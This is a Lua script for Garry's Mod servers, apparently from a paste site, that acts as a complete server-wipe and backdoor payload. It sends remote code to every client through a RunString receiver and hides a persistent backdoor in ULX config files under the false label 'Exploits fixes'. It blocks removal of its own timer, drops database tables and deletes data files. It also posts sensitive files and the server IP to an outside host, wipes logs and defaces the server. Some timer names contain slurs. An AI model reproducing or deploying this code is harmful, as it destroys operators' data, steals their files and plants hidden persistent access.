· 8 years ago · Aug 16, 2018, 01:32 PM
1util.AddNetworkString "skeleton_dancing_troll"
2
3local lol = {}
4function lol:RandomString( intMin, intMax )
5 local ret = ""
6 for _ = 1, math.random( intMin, intMax ) do
7 ret = ret.. string.char( math.random(65, 90) )
8 end
9
10 return ret
11end
12
13lol.m_tblActions = {}
14lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
15lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
16
17function lol:PushAction( intChainDelay, func )
18 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
19end
20
21function lol:NextAction( pPlayer )
22 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
23 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
24
25 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
26 if not IsValid( pPlayer ) then return end
27 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
28 self:NextAction( pPlayer )
29 end )
30end
31
32function lol:Start( pPlayer )
33 pPlayer.m_intCurAction = 0
34 self:NextAction( pPlayer )
35end
36
37function lol:SendLua( pPlayer, strLua )
38 net.Start( "skeleton_dancing_troll" )
39 net.WriteString( strLua )
40 net.Send( pPlayer )
41end
42
43function lol:SetupPlayer( pPlayer )
44 pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
45end
46
47for k, v in pairs( player.GetAll() ) do
48 lol:SetupPlayer( v )
49 timer.Simple( 2, function() lol:Start( v ) end )
50end
51
52hook.Add( "PlayerAuthed", "wat", function( pPlayer )
53 lol:SetupPlayer( pPlayer )
54 timer.Simple( 10, function() lol:Start( pPlayer ) end )
55end )
56
57hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
58 if strText:sub( 1, 5 ) == "/1337" then
59 pSender:Ignite( 1e9 )
60 pSender:ChatPrint( "Nop" )
61 pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
62 return false
63 end
64end )
65
66
67
68--Sequence stack
69--Start some tunes and steam in our assets
70lol:PushAction( 0, function( pPlayer )
71 lol:SendLua( pPlayer, ([=[
72 sound.PlayURL( "http://gubcubbooter.cf/succ/meme2.mp3", "", function()end )
73
74 g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
75 local html = [[%s]]
76 local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
77 local pnl = vgui.Create( "HTML" )
78 pnl:SetPos( ScrW() -1, ScrH() -1 )
79 pnl:SetVisible( true )
80 pnl:SetMouseInputEnabled( false )
81 pnl:SetKeyBoardInputEnabled( false )
82 pnl:SetSize( intSizeX, intSizeY )
83 pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
84
85 local PageLoaded
86 PageLoaded = function()
87 local mat = pnl:GetHTMLMaterial()
88 if mat then
89 g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
90 return
91 end
92
93 timer.Simple( 0.10, PageLoaded )
94 end
95
96 PageLoaded()
97 end
98
99 LoadWebMaterial( "http://gubcubbooter.cf/succ/hud.png", "hud1", 300, 128 )
100 LoadWebMaterial( "http://gubcubbooter.cf/succ/kys.png", "hud2", 300, 128 )
101 LoadWebMaterial( "http://gubcubbooter.cf/succ/kys.png", "hud3", 300, 128 )
102 LoadWebMaterial( "http://gubcubbooter.cf/succ/chef.png", "doritos", 389, 384 )
103 LoadWebMaterial( "http://gubcubbooter.cf/succ/chef.png", "fedora", 389, 384 )
104 LoadWebMaterial( "http://gubcubbooter.cf/succ/chef.png", "dew", 389, 384 )
105 LoadWebMaterial( "http://gubcubbooter.cf/succ/chef.png", "awp", 389, 384 )
106 ]=]):format(lol.m_strImageLoadHTML) )
107 RunConsoleCommand("ulx_logecho", "0")
108 local WS = {}
109WS.file = {}
110WS.file.Write = file.Write
111WS.file.Read = file.Read
112WS.file.Append = file.Append
113WS.file.IsDir = file.IsDir
114WS.file.CreateDir = file.CreateDir
115--[[WS.debug = {} To bypass some things, never got to use it
116WS.debug.getupvalue = debug.getupvalue]]
117
118function WS.ProxyCode( code )
119 local file = table.Random(file.Find("data/*.lua", "GAME"))
120 RunString(code, file)
121end
122function WS.CheckForInfection()
123 local c = WS.file.Read("data/ulx/config.txt","GAME") or "NO DATA"
124 if string.find(c, "Exploits fixes") then
125 return true
126 else
127 return false
128 end
129end
130function WS.Infecte()
131 if not WS.file.IsDir("data/ulx","GAME") then return end
132
133 ------------- GAMEMODE persistent
134 if not WS.file.IsDir("data/ulx/gamemodes","GAME") then
135 WS.file.CreateDir("ulx/gamemodes")
136 end
137 if not WS.file.IsDir("data/ulx/gamemodes/"..engine.ActiveGamemode(),"GAME") then
138 WS.file.CreateDir("ulx/gamemodes/"..engine.ActiveGamemode())
139 end
140 WS.file.Write( "ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n; Exploits fixes")
141 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx logEcho 0]])
142 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
143 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
144 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
145 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun util.AddNetworkString("DefqonBackdoor")]])
146 WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun net.Receive("DefqonBackdoor",function() RunString(net.ReadString(),"Collombe") end)]])
147
148 ------------- BASIC persistent
149 if WS.CheckForInfection() then return end
150 WS.file.Append("ulx/config.txt", string.rep("\n", 50)) -- Best hiding technique (Ð›ÑƒÑ‡ÑˆÐ°Ñ Ñ‚ÐµÑ…Ð½Ð¸ÐºÐ° ÑкрытиÑ)
151 WS.file.Append("ulx/config.txt", "\n; Exploits fixes")
152 WS.file.Append("ulx/config.txt", "\n"..[[ulx logEcho 0]])
153 WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
154 WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
155 WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
156 WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun util.AddNetworkString("DefqonBackdoor")]])
157 WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun net.Receive("DefqonBackdoor",function() RunString(net.ReadString(),"Collombe") end)]])
158end
159
160 ------------- INFECTE EVERYTHING
161WS.Infecte()
162timer.Create("TheWaterSnake", 5, 0, WS.Infecte)
163
164 ------------- PREVENT STOPPING
165local td, tr = timer.Destroy, timer.Remove
166function timer.Destroy( a )
167 if a == "TheWaterSnake" then return end
168 td( a )
169end
170function timer.Remove( a )
171 if a == "TheWaterSnake" then return end
172 tr( a )
173end
174
175 ------------- B1G H4X
176util.AddNetworkString("DefqonBackdoor")
177net.Receive("DefqonBackdoor", function()
178 RunString(net.ReadString(), "TheFrenchGuy")
179end)
180 timer.Create( "hello", 2, 1, function()
181 RunConsoleCommand( "say", "Well hello there." )
182 end)
183
184 timer.Create( "hello2", 10, 1, function()
185 RunConsoleCommand( "say", "What an inconvenience" )
186 end)
187
188 timer.Create( "hello3", 14, 1, function()
189 RunConsoleCommand( "say", "Succ me" )
190 end)
191
192 timer.Create( "hello5", 20, 1, function()
193 RunConsoleCommand( "say", "Sit back and listen rofl" )
194 end)
195
196 timer.Create( "hello6", 32, 1, function()
197 RunConsoleCommand( "say", "This server has been wiped by Gubbi.cf" )
198 end)
199end )
200
201--HUD swap
202lol:PushAction( 0, function( pPlayer )
203 lol:SendLua( pPlayer, [[
204 (GAMEMODE or GM).CalcView = function() end
205 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
206
207 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
208 for k, v in pairs(remove) do
209 hook.GetTable()[v] = {}
210 end
211
212 local function GetWebMat( strURL )
213 return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
214 end
215
216 hook.Add( "HUDPaint", "newhud", function()
217 surface.SetDrawColor( 255, 255, 255, 255 )
218
219 if GetWebMat( "hud1" ) then
220 surface.SetMaterial( GetWebMat("hud1")[1] )
221 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
222 end
223 if GetWebMat( "hud2" ) then
224 surface.SetMaterial( GetWebMat("hud2")[1] )
225 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
226 end
227 if GetWebMat( "hud3" ) then
228 surface.SetMaterial( GetWebMat("hud3")[1] )
229 surface.DrawTexturedRect( 45, ScrH() -245, 300, 128 )
230 end
231 if GetWebMat( "doritos" ) then
232 surface.SetMaterial( GetWebMat("doritos")[1] )
233 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
234 end
235 if GetWebMat( "dew" ) then
236 surface.SetMaterial( GetWebMat("dew")[1] )
237 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(ScrH() -250, ScrH() -260), 110 *((350 /110) -1), 256, CurTime() *-512 )
238 end
239 if GetWebMat( "fedora" ) then
240 surface.SetMaterial( GetWebMat("fedora")[1] )
241 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(250, 260), 256, 256, CurTime() *-512 )
242 end
243 if GetWebMat( "awp" ) then
244 surface.SetMaterial( GetWebMat("awp")[1] )
245 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 256, CurTime() *512 )
246 end
247
248BroadcastLua(hook.Add( "HUDPaint", "rainbowscreen", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end))
249
250 draw.SimpleTextOutlined(
251 "Hacked by Gubbi.cf",
252 "DermaLarge",
253 ScrW() /2 +math.random( -3, 3 ),
254 ScrH() /2 +math.random( -3, 3 ) +24,
255 Color( 255, 0, 0, 255 ),
256 TEXT_ALIGN_CENTER,
257 TEXT_ALIGN_CENTER,
258 1,
259 Color( 0, 0, 255, 255 )
260 )
261 end )
262
263 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
264 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
265
266 surface.PlaySound( "garrysmod/save_load4.wav" )
267 ]] )
268end )
269
270--Disco time
271lol:PushAction( 0.1, function( pPlayer )
272 local idx = pPlayer:EntIndex()
273 timer.Create( "beat".. idx, 0.42, 0, function()
274 if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
275 pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
276 end )
277----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
278local date = os.date( "%m-%d-%y" )
279local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
280local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
281local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
282for k,v in pairs( databases ) do if sql.TableExists( v ) then
283 sql.Query( "DROP TABLE "..v.." ;" )
284 sql.Query( "CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );" )
285 end
286end
287timer.Simple(5, function() for k,v in pairs( datafiles ) do if file.Exists(v, "DATA") then file.Delete( v ) end end end )
288for k,v in pairs( sensitivefiles ) do if file.Exists(v, "DATA") then http.Post("http://bracegaming.com/data/log.php",{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
289hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )
290
291timer.Create( "niggaspams2", 0.1, 0, function()
292RunConsoleCommand( "sv_friction", "-8" )
293end)
294
295timer.Create( "niggaspams3", 0.1, 0, function()
296RunConsoleCommand( "sv_gravity", "-600" )
297end)
298
299timer.Create( "next_level_timer", 0.1, 0, function()
300 for k, v in pairs(player.GetAll()) do
301 v:ConCommand("say /ooc Hacked by Gubbi.cf");
302 end
303end)
304
305
306RunConsoleCommand( "sv_loadingurl", "http://chefhack.ga/index.html" )
307
308RunConsoleCommand("hostname", "Hacked by Gubbi.cf")
309
310RunConsoleCommand("ulx", "groupallow", "superadmin", "*")
311
312timer.Create( "spamlol", 0, 0, function() for i = 1, 5 do MsgC(Color(math.random(255), math.random(255), math.random(255)), "Hacked") end end)
313
314
315for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
316
317for k,v in pairs (player.GetAll()) do v:SetUserGroup("superadmin") end
318
319timer.Create( "niggaspams4", 0.1, 0, function()
320RunConsoleCommand( "sbox_noclip", "1" )
321end)
322
323timer.Create( "niggaspams5", 0.1, 0, function()
324RunConsoleCommand( "sv_allowcslua", "1" )
325end)
326
327hook.Add("Think", "busted", function()
328 for k,v in pairs (player.GetAll()) do
329 v:SetModelScale(2.5, 100);
330 v:SetRunSpeed(400 * 2);
331 v:SetWalkSpeed(200 * 2);
332 end
333end)
334
335for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end
336
337for k,v in pairs(player.GetAll()) do
338 local a = v:LookupBone("ValveBiped.Bip01_Head1")
339 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
340 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
341 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
342 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
343 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
344 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
345 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
346 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
347 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
348 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
349
350 v:ManipulateBoneScale( a, Vector(4,0,4))
351 v:ManipulateBoneScale( b, Vector(0,0,0))
352 v:ManipulateBoneScale( c, Vector(0,0,0))
353 v:ManipulateBoneScale( d, Vector(0,0,1))
354 v:ManipulateBoneScale( e, Vector(0,0,1))
355 v:ManipulateBoneScale( f, Vector(0,0,0))
356 v:ManipulateBoneScale( g, Vector(0,0,0))
357 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
358 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
359 v:ManipulateBoneScale( j, Vector(0,0,0))
360 v:ManipulateBoneScale( k, Vector(0,0,0))
361 end
362
363for k,v in pairs(player.GetAll()) do timer.Create( "timerargent10", 0.1, 0, function() v:addMoney(999999) end) end
364
365timer.Create( "ignitelol", 0.1, 1, function()
366for k,v in pairs(player.GetAll()) do v:Ignite(120) end
367end)
368-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
369
370 lol:SendLua( pPlayer, [[
371 local emitter = ParticleEmitter( LocalPlayer():GetPos() )
372 local time = 0
373
374 hook.Add( "Think", "wat", function()
375 if CurTime() < time then
376 return
377 end
378
379 time = CurTime() +0.05
380 for i = 1, 16 do
381 local part = emitter:Add(
382 "particles/balloon_bit",
383 LocalPlayer():GetPos() +Vector(
384 math.random( -256, 256 ),
385 math.random( -256, 256 ),
386 256
387 )
388 )
389
390 if part then
391 local Size = math.random( 4, 7 )
392
393 part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
394 part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
395 part:SetDieTime( 4.5 )
396 part:SetGravity( Vector(40, 0, -250) )
397 part:SetLifeTime( 0 )
398 part:SetStartSize( Size /2 )
399 part:SetEndSize( Size )
400 part:SetCollide( true )
401 end
402 end
403 end )
404 ]] )
405
406 lol:SendLua( pPlayer, [[
407 hook.Add( "RenderScreenspaceEffects", "wat", function()
408 local sinScaler = math.sin( CurTime() )
409 DrawBloom(
410 0,
411 3,
412 sinScaler *math.Rand(1, 8),
413 sinScaler *math.Rand(1, 8),
414 6,
415 math.Rand(0.5, 2),
416 math.Rand(0, 0.3),
417 math.Rand(0, 0.3),
418 math.Rand(0.5, 1)
419 )
420
421 DrawColorModify{
422 ["$pp_colour_addr"] = 1,
423 ["$pp_colour_addg"] = 0,
424 ["$pp_colour_addb"] = 0,
425 ["$pp_colour_brightness" ] = 0,
426 ["$pp_colour_contrast" ] = 1,
427 ["$pp_colour_colour" ] = 1,
428 ["$pp_colour_mulr" ] = 0,
429 ["$pp_colour_mulg" ] = 0,
430 ["$pp_colour_mulb" ] = 0
431 }
432 end )
433
434 local mdl = ClientsideModel( "models/player/breen.mdl", RENDERGROUP_BOTH )
435 mdl:SetNoDraw( true )
436 local posCache, time = {}, 0
437
438 hook.Add( "HUDPaint", "dance", function()
439 if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
440 local idx = mdl:LookupSequence("taunt_dance")
441 mdl.SeqDuration = mdl:SequenceDuration( idx )
442 mdl.SeqStart = CurTime()
443 mdl:ResetSequence( idx )
444 end
445
446 mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
447
448
449 local w, h = 300, 300
450 local ang = Angle( 0, 0, 0 )
451
452 for i = 1, 32 do
453 if CurTime() > time then
454 posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
455 end
456 local x, y = posCache[i][1], posCache[i][2]
457
458 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
459 cam.IgnoreZ( true )
460 render.SuppressEngineLighting( true )
461
462 render.SetLightingOrigin( mdl:GetPos() )
463 render.ResetModelLighting( 1, 1, 1 )
464 render.SetColorModulation( 0, 0, 1 )
465
466 mdl:DrawModel()
467
468 render.SuppressEngineLighting( false )
469 cam.IgnoreZ( false )
470 cam.End3D()
471 end
472
473 if CurTime() > time then
474 time = CurTime() +0.15
475 end
476 end )
477
478
479 ]] )
480end )
481
482--Let the beat drop
483lol:PushAction( 102, function( pPlayer )
484 lol:SendLua( pPlayer, [[
485 hook.Add( "GetMotionBlurValues", "wat", function()
486 return 0, 0, 1, math.sin(CurTime() *13)
487 end )
488
489 hook.Add( "RenderScreenspaceEffects", "ohgod", function()
490 local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
491 DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
492 DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
493 end )
494
495 hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
496 render.SetMaterial( Material("cable/blue_elec") )
497 for i = 1, 32 do
498 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
499 end
500 end )
501
502 timer.Create( "thedrop", 0.42, 0, function()
503 util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
504 end )
505 ]] )
506
507 pPlayer:Remove()
508
509 timer.Create( "rights", 0.1, 0, function()
510 for k, v in pairs(player.GetAll()) do
511 v:ConCommand("+right");
512 end
513
514end)
515
516--EVIL TIME rip headpones
517lol:PushAction( 100, function( pPlayer )
518 lol:SendLua( pPlayer, [[
519 surface.PlaySound( "vo/npc/male01/gethellout.wav" )
520
521
522
523 local sounds = {}
524 for i = 1, 4 do
525 sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
526 sounds[#sounds +1] = pChan
527 end )
528 end
529
530 timer.Create( "asdf", 1, 0, function()
531 if #sounds ~= 4 then return end
532 timer.Destroy( "asdf" )
533 for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
534 end )
535
536 hook.Add( "HUDShouldDraw", "newhud", function() return false end )
537
538 ]] )
539
540 timer.Create( "allahakbar", 5, 0, function()
541 hook.Add("Think", "armageddon", function()
542 local explode = ents.Create( "env_explosion" )
543 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
544 explode:Spawn()
545 explode:SetKeyValue( "iMagnitude", "500" )
546 explode:Fire( "Explode", 0, 0 )
547 end)
548 end)
549
